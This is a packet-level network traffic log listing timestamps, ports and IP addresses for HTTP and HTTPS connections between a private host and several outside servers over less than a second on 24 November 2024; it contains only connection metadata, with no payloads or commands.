Nov 24, 2024 04:20:49.196453094 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.196496964 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.197149992 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.197199106 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.197261095 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.197308064 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.197958946 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.198010921 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.198051929 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.198105097 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.198792934 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.198909998 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.198999882 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.199668884 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.199724913 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.199745893 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.199794054 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.200378895 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.200448036 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.231725931 CET	443	49899	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.232314110 CET	49899	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.232328892 CET	443	49899	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.233422041 CET	49899	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.233428955 CET	443	49899	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.239017963 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.290086031 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.290111065 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.290118933 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.290132046 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.290138960 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.290146112 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.290165901 CET	49886	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.290201902 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.290216923 CET	49886	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.290318012 CET	49886	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.318411112 CET	443	49896	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.318491936 CET	443	49896	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.318677902 CET	49896	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.318757057 CET	49896	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.318758011 CET	49896	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.318773985 CET	443	49896	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.318780899 CET	443	49896	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.321906090 CET	49906	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.321919918 CET	443	49906	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.321990013 CET	49906	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.322217941 CET	49906	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.322238922 CET	443	49906	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.358434916 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.384339094 CET	443	49900	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.384833097 CET	49900	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.384869099 CET	443	49900	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.385272026 CET	49900	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.385277987 CET	443	49900	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.479127884 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.479142904 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.479173899 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.479213953 CET	49886	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.479224920 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.479270935 CET	49886	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.519001007 CET	443	49897	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.519062042 CET	443	49897	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.519121885 CET	49897	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.519342899 CET	49897	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.519360065 CET	443	49897	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.519380093 CET	49897	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.519386053 CET	443	49897	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.522253990 CET	49907	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.522299051 CET	443	49907	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.522376060 CET	49907	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.522712946 CET	49907	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.522730112 CET	443	49907	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.531605005 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.531626940 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.531681061 CET	49886	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.531709909 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.531814098 CET	49886	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.557342052 CET	443	49898	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.557409048 CET	443	49898	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.557456017 CET	49898	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.557977915 CET	49898	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.557991982 CET	443	49898	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.558238983 CET	49898	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.558244944 CET	443	49898	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.566504002 CET	49909	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.566538095 CET	443	49909	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.566792011 CET	49909	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.566979885 CET	49909	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.566993952 CET	443	49909	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.666630983 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.666656971 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.666729927 CET	49886	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.666785955 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.666836023 CET	49886	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.700809956 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.700828075 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.700896025 CET	49886	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.700921059 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.701144934 CET	49886	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.720279932 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.720304012 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.720362902 CET	49886	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.720379114 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.720403910 CET	49886	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.720428944 CET	49886	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.728192091 CET	443	49899	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.728281975 CET	443	49899	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.728502989 CET	49899	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.728550911 CET	49899	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.728550911 CET	49899	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.728576899 CET	443	49899	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.728589058 CET	443	49899	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.729682922 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.729850054 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.729921103 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.730067968 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.730114937 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.730277061 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.730905056 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.730979919 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.731005907 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.731054068 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.731467009 CET	49910	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.731532097 CET	443	49910	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.731616974 CET	49910	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.731717110 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.731751919 CET	49910	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.731770992 CET	443	49910	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.731787920 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.731818914 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.731863022 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.732520103 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.732599974 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.732614994 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.732685089 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.733352900 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.733439922 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.733474970 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.733519077 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.734200954 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.734268904 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.734292030 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.734347105 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.735002041 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.735070944 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.735126972 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.735837936 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.735901117 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.735930920 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.735981941 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.736625910 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.736684084 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.736740112 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.736793041 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.737013102 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.737029076 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.737096071 CET	49886	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.737104893 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.737180948 CET	49886	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.737432957 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.737483978 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.737531900 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.737694979 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.738260031 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.738321066 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.738354921 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.738466978 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.739078999 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.739135981 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.739168882 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.739216089 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.739873886 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.739995003 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.740040064 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.740705013 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.740822077 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.740881920 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.741553068 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.741565943 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.741621017 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.742372036 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.742496014 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.742501974 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.742541075 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.743184090 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.743304968 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.743366003 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.743988991 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.744049072 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.744105101 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.744837046 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.744903088 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.744913101 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.745034933 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.745625019 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.745682955 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.745726109 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.745774984 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.746470928 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.746531010 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.746695995 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.746953964 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.747255087 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.747311115 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.747317076 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.747486115 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.748121023 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.748133898 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.748177052 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.748884916 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.749007940 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.749073029 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.749737024 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.749922037 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.749937057 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.749990940 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.750546932 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.750601053 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.750637054 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.750690937 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.751364946 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.751427889 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.751463890 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.751652956 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.752182961 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.752242088 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.752270937 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.752402067 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.752984047 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.753045082 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.753081083 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.753151894 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.753794909 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.753858089 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.753894091 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.753940105 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.754622936 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.754674911 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.754709959 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.754761934 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.755451918 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.755494118 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.755536079 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.755557060 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.756288052 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.756400108 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.756470919 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.757075071 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.757136106 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.757172108 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.757215023 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.757884026 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.757937908 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.757945061 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.757991076 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.758733034 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.758776903 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.758902073 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.759552002 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.759608030 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.759644985 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.759740114 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.760351896 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.760406971 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.760442972 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.760489941 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.761162996 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.761238098 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.761290073 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.761358976 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.762031078 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.762094021 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.762095928 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.762151957 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.762809992 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.762861967 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.762902975 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.763062000 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.763626099 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.763690948 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.763727903 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.763783932 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.764446020 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.764465094 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.764548063 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.765309095 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.765388012 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.765611887 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.765762091 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.766079903 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.766130924 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.766191006 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.766308069 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.766918898 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.766980886 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.766998053 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.767045021 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.767716885 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.767781019 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.767815113 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.767857075 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.768569946 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.768634081 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.768692970 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.769362926 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.769431114 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.769464970 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.769563913 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.770190001 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.770247936 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.770284891 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.770332098 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.770987988 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.771091938 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.771179914 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.771856070 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.771867990 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.771914959 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.772648096 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.772696972 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.772768021 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.772811890 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.773474932 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.773487091 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.773617029 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.774245977 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.774319887 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.823987961 CET	443	49903	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:49.824261904 CET	49903	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:49.824285984 CET	443	49903	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:49.825472116 CET	443	49903	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:49.827836990 CET	443	49902	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:49.828186989 CET	49902	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:49.828202009 CET	443	49902	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:49.828557968 CET	49903	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:49.828639030 CET	443	49903	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:49.829227924 CET	443	49902	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:49.829305887 CET	49902	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:49.829916000 CET	49902	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:49.829983950 CET	443	49902	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:49.841751099 CET	443	49900	13.107.246.63	192.168.2.6
